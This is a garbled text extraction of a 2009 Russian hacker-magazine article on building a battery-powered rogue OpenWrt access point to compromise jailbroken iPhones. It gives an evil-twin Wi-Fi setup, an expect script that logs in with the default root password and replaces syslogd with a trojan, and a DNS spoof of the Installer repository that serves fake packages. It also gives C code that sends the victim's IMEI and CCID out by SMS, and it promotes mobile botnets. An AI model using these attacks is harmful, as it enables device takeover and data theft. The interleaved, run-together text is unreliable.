 

 

 

 

 

 

 

2.4-squashfs.trx. Вышлаона15 февраля2009 года, — самыйсвежак.

 

 

 

 

 

 

 

 

 

 

 

 

 

ПередпрошивкойпереводимустройствовFailure Mode. Дляэтого

Крометого, вопределенныхместахчеловексноутомпривлекает

 

отключаемпитание, зажимаемкнопкуReset иподключаемпитание.

гораздобольшевнимания, чемчеловексрюкзачкомилисумкой. Вместо

ДержимReset, покаиндикаторпитаниянеподмигнетнам, затемотпус-

штатногомонитораконтролироватьустройствомыбудемчерезSSH с

 

каемкнопку. ПроцедуравходавFailure Mode дляразныхроутеровможет

телефона— такимобразом, шансыпрохожихразглядетьчто-тоинте-

 

отличаться, ноподробнаяпроцедураустановкивсегдабудетописана

ресноенатвоемэкранеуменьшаютсядонуля. Еслитебякоробитвопрос

вWIKI openwrt длякаждоймодели. Ссылканаинструкциюнаходит-

производительности, тосмеюзаверить— процессораARM

 

 

 

сявпоследнейколонкетаблицыподдерживаемыхустройств. Далее

200 МГцхватитьдлянашихнуждвышекрыши. НелишнимбудетUSB-

 

подключаемпатч-кордкустройствуипроверяем, чтоунасвышло: ping

порт— мыпоместимтудафлешкудляведенияядовитыхлогов, ноесли

192.168.1.1. Есливсехорошоиустройствоотвечает, переходимкзаливке

егонет, можноскидыватьвсена«админский» телефонилисерверв

 

прошивки. Потребуетсяtftp-клиент, егоможновзятьздесь:

 

интернете. ЯбудуописыватьпроцесснапримереAsus WL-500G, просто

http://www.tftp-server.com/tftp-download.html — дляWindows;

потому, чтоонваляетсяподрукой. Всебудетабсолютноаналогичнопри

http://packages.debian.org/lenny/tftp — Debian stable.

 

 

XÀÊÅÐ 04 /124/ 09

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

065

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

C

 

E

 

 

 

X

 

 

 

 

 

-

 

 

 

 

 

d

 

F

 

 

 

 

 

 

t

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

w Click

 

BUY

>>m

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

.

 

 

 

 

 

.c

 

 

p

 

 

 

 

g

 

 

 

 

df

 

 

n

e

 

 

 

 

-xcha

 

 

 

Asus WL-500G Deluxe собственнойперсоной

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Автомобильныйадаптер-инвертор12 В-220 В. Способен тянутькомпьютер300 В

links

openwrt.org

дистрибутивОС linux дляточек доступа.

dd-wrt.com — дру-

гойвариантдистрибутиваОСlinux для точекдоступа.

code.google. com/p/winchain

средстваразработкидляiPhone под

Windows.

oxod.ru — мой блог. Пишупомере желания. Ждукомментариев, отвечу навопросы.

warning

Внимание! Информацияпредставленаисключительно сцельюознакомления! Ниавтор, ниредакциязатвои действияответственностиненесут!

Послеустановкизаливаемпрошивкунаустройство:

tftp 192.168.1.1 tftp> binary tftp> trace

tftp> put openwrt-brcm-2.4-squashfs.trx

Ждем, покаиндикаторпитанияперестанетморгать (завершитсяпроцессзаписивROM). Воттак, простоибез приключений, мыподготовилиплатформудлядальнейших изысканий. Теперьперейдемнепосредственнокнастройке. Выполняемкоманды:

#~telnet 192.168.1.1

#~passwd //устанавливаем пароль #~exit //отключаемся

#~ssh root@192.168.1.1 //первый раз эта процедура займет около минуты или двух — неторопливое устройство создает ключевые пары. Если время ожидания SSH-клиента истечет — повтори попытку подключения через пару минут

#~ipkg update //обновляем базу пакетов

Возможно, передпоследнейкомандойпридетсяещенастроитьподключениекинтернету. Настройкаинтерфейсов происходитчерез/etc/config/network. Еслинадонастроить PPPoE, создайвконфигетакоеправило:

config interface wan

 

option ifname

nas0

option proto

pppoe

option username

"username"

option password

"password"

 

 

НаэтомбазоваяустановкаОСзакончена. Дистрибутивуже включаетвсебяDHCP-сервер, SSH-сервериSSH-клиент. Дальнейшаянастройказависитоттипаатаки.

ДЕЛАЙРАЗ. ВКУСНАЯТОЧКАДОСТУПА

Теперь основная задача — заставить пользователя iPhone подключиться к нашей точке доступа. Мы должны сделать ее наиболее привлекательной, сулящей неслыханную халяву и т.д. Первое, что приходит на ум

— поставить SSID, который точно привлечет внимание любого пользователя. Например, взять существующие имена бесплатных WiFi-сетей. Для правдоподобности можно работать в режиме моста с настоящей точкой доступа, подключенной к интернету. Тогда пользователь будет иметь полноценный выход в глобальную Сеть, параллельно с этим попадаясь на все наши дальнейшие уловки с DNS (я же не зря перечислил его в требова-

ниях!). Для максимального эффекта предварительно просканируй все сети, действующие в том районе, где будешь производить испытания, и выдели наиболее популярные точки доступа. Затем поставь своему устройству MAC и SSID, как у самого популярного хот-спота. Если ты окажешься ближе к пользователю, уровень сигнала от тебя будет выше, и ты получишь клиентов, привычно подключающихся к знакомой сети. Простейший конфиг беспроводного интерфейса /etc/config/ wireless выглядит так:

config wifi-device

wl0

option type

broadcom

option channel

5

option disabled 0

config wifi-iface

 

option device

wl0

option network

lan

option mode

ap

option ssid

Free_Internet

option hidden

0

option encryption none

 

 

Последнийштрих— настройкаDHCP-сервера. Мыже должнысоздатьдляклиентовмаксимальнокомфортные условияработывнашейсети:).

config dhcp

 

option interface

lan

option start

2 //первый выданный

IP-адрес, в нашем случае будет 10.0.0.2

option limit

100 //сколько всего

адресов выдавать

 

option leasetime

1h //время аренды

адреса, надо выбрать в соответствии с динами-

кой перемещения терминатора и клиентов

config dhcp

 

option interface

wan

option ignore 1

 

 

 

Есливозникнутвопросыпоповодусинтаксиса, обращайсякофициальнойдокументацииhttp://wiki.openwrt.org/ OpenWrtDocs/KamikazeConfiguration (вжурналеприводить всевозможныевариантынастроексмысланет).

ДЕЛАЙДВА. ПОДБОРПАРОЛЕЙSSH

Самаяпростаяидейственнаянатекущиймоментатакана iPhone — пользуемсяпаролемпоумолчанию, установленнымпрактическинавседжеилбрейкнутыетелефоныSSHD. Дляначала, спомощьюtoolchain отopenwrt собираем

изисходниковутилитуexpect. Еслиестьфлешка, можно

066

XÀÊÅÐ 04 /124/ 09

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

>>

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

взломw

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

o

m

 

w

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Динамо-машинадлязарядкиноутбука. Крутипедали, поканедали…

поставитькомпиляторнасамроутер. Устанавливаемвсе необходимое:

ipkg install buildroot ipkg install make ipkg install tcl

ipkg install scponly

ipkg install openssh-client

Сразу отредактируем /etc/ssh/ssh_config, добавив строчку «StrictHostKeyChecking no», чтобы SSH-клиент не выдавал сообщение о принятии новых сессионных ключей для каждой жертвы. Затем скачиваем исход-

ники expect отсюда: http://expect.nist.gov/expect.tar.gz.

Распаковываем и собираем, как обычно: ./configure, make, make install. Может потребоваться установить переменную окружения: «setenv TCL_LIBRARY /usr/ bin/tcl8.4.19/Library». Теперь напишем скрипт, который будет пытаться подключиться к телефону с дефолтной связкой логин-пароль. Получится что-нибудь наподобие этого:

#!/usr/bin/expect

spawn scp /www/iphone-trojan root@10.0.0.2:/ usr/sbin/syslogd

expect assword {send alpine\r} spawn ssh root@10.0.0.2 expect assword {send alpine\r}

send “ldid –S /usr/sbin/syslogd\r” send “exit\r”

expect eof

Вслучаеуспехадемонсистемныхлоговназахваченном телефонезаменитсянашейпрограммойiphone-trojan, котораябудетвыполнятьсяприкаждомрестартесистемы. Что этобудетзапрограмма, мырассмотримниже. Предлагаюв качествесамостоятельногоупражнениясвязатьлогиdhcpсерверасвыполнениемэтогоскриптатак, чтобыатака осуществляласьнакаждыйновыйвыданныйIP. Можешь такжеустановитьnmap ипередзапускомпроверять, что подцепилсяименноiPhone.

Делается это командой nmap –O2 10.0.0.Х. Стоит отметить, что сканирование nmap’ом занимает приличное время, поэтому куда выгоднее просто пытаться атаковать сразу после подключения клиента. Тут уж решай сам.

ДЕЛАЙТРИ. ЛОЖНЫЙРЕПОЗИТОРИЙINSTALLER

Этаатакабылаописанавмоейпредыдущейстатье. Если вкратце, — сутьзаключаетсявподменеDNS-адреса репозиторияменеджерапакетовInstaller. Менеджерустанавливаетсянавседжеилбрейкнутыетелефоны, коих, по некоторымоценкам, > 50% средивсехiPhone внашейстране. Выглядитэтотак: пользовательподключаетсякнашему терминатору, открываетInstaller иустанавливаетобновлениесамогоменеджерапакетов. Новместесоригинальной программойнателефонзаливаетсялюбаядругая. Приступимкнастройке. УстанавливаемDNS-сервер:

#~ipkg install maradns

МеняемнастоящийIP серверасрепозиториемi.ripdev.com нанаш. Дляэтогоредактируем/etc/mararc и/etc/marands/ ripdev.com:

/etc/mararc:

ipv4_bind_addresses = "127.0.0.1, 10.0.0.1" chroot_dir = "/etc/maradns" //место, где будут лежать конфиги зон, можно выбрать, например, точку монтирования флешки…

recursive_acl = "127.0.0.1/8, 10.0.0.0/24" // разрешаем рекурсивные запросы zone_transfer_acl = "127.0.0.1/8, 10.0.0.0/24" //разрешаем пересылку зон timeout_seconds = 2

csv1 = {}

csv1["ripdev.com."] = "ripdev.com" dns_port = 53 maximum_cache_elements = 1024 min_ttl_cname = 900

/etc/maradns/ripdev.com:

dvd

Надискетынайдешь исходникипрограммыдляотправкиSMS.

XÀÊÅÐ 04 /124/ 09

067

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

>>m

 

w Click

to

 

 

 

взлом

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

#SOA Sripdev.com.|86400|%|root@%|200903211634|7200|3600| 604800|1800

#NS

Nripdev.com.|86400|ns.ripdev.com.

# A

Ai.ripdev.com.|86400|10.0.0.1

Теперьвсезапросыксерверубудутобработанытерминатором. Остаетсянастроитьвстроенныйвеб-сервервкачествеподдельного репозитория. Поумолчаниювеб-серверзапускаетсяскорнем/www, нотывлюбоймоментможешьпогаситьегоизапуститьсключом–h / my/www-root. Выгодносоздаватькореньвеб-серверанаприкручен- нойфлешке. Такилииначе, намнадоскачатьизаписатьнатерминатораследующиефайлы:

http://i.ripdev.com/info/index-2.0.plist

http://i.ripdev.com/info/index-2.1.plist

http://i.ripdev.com/info/index-2.2.plist

Вкаждомизнихисправляемраздел,относящийсякпрограммеInstaller, меняемключиdateиversionнабольшие.Еслимынехотимвызыватьлишнихподозрений,исправляемссылкинафайлывсехостальныхпрограммтак, чтобыонивелинанастоящийсервер.ДляэтогоуказываемявноегоIP-адрес. Болееподробнопроцессрассмотренвужеупомянутойстатье«Яблочное пюре»вмартовскомномереz.Затемскачиваемиправимследующиефайлы:

http://i.ripdev.com/info/com.ripdev.install-4.1- 2.0.plist http://i.ripdev.com/info/com.ripdev.install-4.1- 2.1.plist http://i.ripdev.com/info/com.ripdev.install-4.1- 2.2.plist

Меняемключversion натакойже, какойпоставиливпредыдущих конфигах. Затемредактируемключиsize иhash. Эторазмериmd5 хеш отфайласнашимподдельнымприложением, котороепользователи будутсебеустанавливать. Остаетсятолькоразместитьсамоподдельное приложениенароутеревместесконфигами(тоестьсоздатьдиректорию

/www/info и/www/packages/System), нуизаписатьтудавсевышеопи-

санныефайлы.

БОНУС. КОДИМПОДIPHONE

Какбудемпроверятьработоспособностьнашеготерминатора? Апусть самижертвыизвестятнасспомощьюsms (заодно— получимтелефонныйномеротправителя). Достаточноедоказательство? Напишем приложениеиповесимегодемономназахваченныеiPhone. Забудьпро xcode иApple SDK, пользоватьсябудемгрубыммужскимgcc. Компилятор можнопоставитьпрямонателефончерезCydia. Илинакомпьютер:

http://code.google.com/p/iphone-dev/wiki/Building http://code.google.com/p/winchain/

ОтправлятьSMS будемчерезAT командыустройству/dev/tty.debug. Этаконсольмодемаиспользуетсядляотладкииприсутствуетнавсех iPhone/iPhone 3g. Ниодноприложениепоумолчаниюнеиспользуетэто устройство — то, чтодокторпрописал! Великийимогучийcode.google. com ужеимеетпроектснужнымнамфункционалом. Велосипедизобретатьнебудеминекоторыефункциипростопозаимствуемоттуда:

http://code.google.com/p/iphone-sms

ИзэтогопроектамывозьмемфункциюInitConn — подключениек модему, CloseConn — отключениеотмодема, SendCmd — отправкаAT командымодемуиReadResp — чтениеответаотмодема. Приведупример

Аккумуляторотноутбука. Извсехконтактовнампонадобятсятолькодва

значимыхстроккода(сампроектможнонайтинанашемDVD):

int InitConn(int speed)

{

int fd = open("/dev/tty.debug", O_RDWR | O_NOCTTY);

if(fd == -1) {

fprintf(stderr, "%i(%s)\n", errno, strerror(errno)); exit(1);

}

ioctl(fd, TIOCEXCL); fcntl(fd, F_SETFL, 0);

...

return fd;

}

void CloseConn(int fd)

{

tcdrain(fd);

tcsetattr(fd, TCSANOW, &gOriginalTTYAttrs); close(fd);

}

void SendCmd(int fd, void *buf, size_t size)

{

if(write(fd, buf, size) == -1) { fprintf(stderr, "SendCmd error. %s\n",

strerror(errno));

exit(1);

}

}

Подумаемнадсодержаниемсообщения. Предлагаюдляоднозначности скидыватьсзахваченныхтелефоновнимного, нимало— аIMEI иCCID. Этосделаетнашидоказательствауспешнойатакиболеевесомыми.

ПолучатьданныемытожебудемчерезAT команды. ФункциюReadResp я немногодопишу, чтобынаходитьответызазапросыIMEI иCCID изаписыватьихвпеременнуюmessage. Выйдетпримернотак:

if (strstr(readbuf,"+CMGW:")!=NULL) {

smsIndex = atoi(&readbuf[strlen(message)+10]);

}

else if (strstr(readbuf,"+CCID:")!=NULL) {

068

XÀÊÅÐ 04 /124/ 09

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

>>

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

взломw

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

o

m

 

w

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Дляотладкиоборудования, вчастности, точекдоступаиспользуетсяразъемJTAG. Производительневсегдаегораспаивает

 

strncpy(message, &readbuf[17], 20);

 

Еслинезаморачиватьсяиподключатьтерминаторапосле

}

 

зажигания, томожнорискнуть— напрямуюподключиться

 

else if (strstr(readbuf,"AT+CGSN")!=NULL) {

 

кприкуривателю. Такжедешевоисердито— воспользо-

 

UCHAR temp[15];

 

ватьсяадаптеромотGPS-навигатора, онкакразбудет12

 

strncpy(temp, &readbuf[10], 15);

 

В, 1 Аисшумамикак-нибудьсправится. Ещеестьвариант

 

sprintf(message,"%s-%s",message,temp);

 

установитьавтомобильныйадаптеринвертер12/220 В

}

 

(можнобратьот50 Вмощности). Чтокасаетсяперенос-

 

 

 

ныхаккумуляторов, топодключатьсястоиткобычному

 

 

 

Осталосьлишьнаписатьmain функцию, вкоторуюмы

ноутбучному. Подсчитаем: аккумулятордляноутбукапри

заложимвесьфункционал. СначалаполучаемCCID, потом

12 Вдает4.8 А/ч— тоесть, почтипятьчасовработыпри

— IMEI, затемотправляемсообщение.

потреблениив1 А. Отмечу, чтоэтопиковыйток, потребля-

Япыталсясделатькодкакможнопонятнее, аненаиболее

емыйточкой. Среднеезначениебудетменьше, — азначит,

короткимиликрасивым. Вовсякомслучае, онработает, а

времяработызаведомобольше5 часов. Саккумулятора

оптимизироватьбудемпотом. Собранныйвариантвышел14

надобудетсниматьтолько+ и-, логическиеконтакты

Кб— немало, ноэтоговполнехватит, чтобыбыстрозалить

оставьвпокое. Узнатьраспайкуконтактовможнолибопо

нажертвучерез802.11g. Опятьже, оптимизациейзаймемся

наклейкенааккумуляторе, либоспомощьютестера. На-

вследующейстатье. Догадайся, чтобудет, еслипопытаться

деюсь, приведеннойздесьинформациибудетдостаточно,

выполнитьнашетворение? ОтправкаSMS, да? Нет, — ниче-

чтобызапитатьтерминатора.

гонебудет, ядротелефонапростоубьетпроцесс, недавему

 

ничегоисполнить. Хитростьвтом, чтотелефонвыполняет

НЕДАЛЕКОЕБУДУЩЕЕ

толькоподписанныепрограммы. Разработчикихорошопос-

В последнее время производительность и скорость

таралисьнаэтотсчет. Чтобыкодработал, надоподписывать

подключения к интернету мобильных устройств сильно

егопередисполнениемнакаждомтелефонеспомощью

растут. В недалеком будущем, а вернее, уже почти

программыldid. Онаустанавливаетсявместесовсемине-

настоящем, вырисовываются четкие перспективы мо-

официальнымипрограммамиизCydia. Мырассчитываем,

бильных ботнетов. Эти устройства практически всегда

чтоунашейжертвытакаяпрограммабудет(обостальных

онлайн, имеют несколько способов подключения к

вариантахпоговоримвследующейстатье).

Сети, при этом — есть GPS-навигация. Они всегда нахо-

 

 

 

дятся рядом со своими владельцами и часто содержат

 

ВОЙНАВОЙНОЙ, АПИТАНИЕПОРАСПИСАНИЮ

конфиденциальную инфу. Я думаю, причин для хака

 

 

Нашемутерминаторунехватаеттолькоавтономногоисточ-

более чем достаточно! Сегодня я попытался рассказать,

никапитания. Действительно, стационарнаяточкадоступа —

как без особых усилий сделать устройство, способное

этохорошо, амобильнаякудалучше. Существуютдваспособа

получать доступ к Apple iPhone в автоматическом ре-

решитьпроблему: переноснойаккумуляториадаптерпитания

жиме. Перемещаясь с таким терминатором по улицам,

отавтомобильногоприкуривателя. Дляначаласмотримна

можно собрать целую мобильную армию, готовую в лю-

штатныйадаптерпитанияточкидоступаивидимчто-нибудь

бой момент произвести DDoS-атаку или распределено

похожеена12 В, 1 А. Автомобильныйприкуривательдаст

вычислить значение хеш-функции. В следующей статье

какраз12 В, номгновенныезначениязасчетшумовмогут

я опишу процесс создания трояна для iPhone. Он спо-

колебатьсяот8 от16 вольт. Перебоивработенамненужны,

собен получать команды с сервера хозяина, отправлять

поэтомустоитвоспользоватьсяадаптеромсшумоподавите-

различными способами данные с телефона, выполнять

лем. Схематакогоустройстванашласьбыстро:

шелл-команды, собирать статистику, генерировать

 

 

 

трафик на определенный ресурс и... что-нибудь еще,

 

rlocman.ru/shem/schematics.html?di=33999

 

что успею придумать. z

 

 

 

 

XÀÊÅÐ 04 /124/ 09

 

info

•Точкадоступа обладаетрядом преимуществперед ноутбуком, например: размеры, вес, энергопотребление, стоимость, разъем внешнейантенны.

•Вмартовском номереzза2009 годбылиописаны эксплуатируемые атаки. Еслиосталисьвопросы— перечитайподшивку.

069

Соседние файлы в папке журнал хакер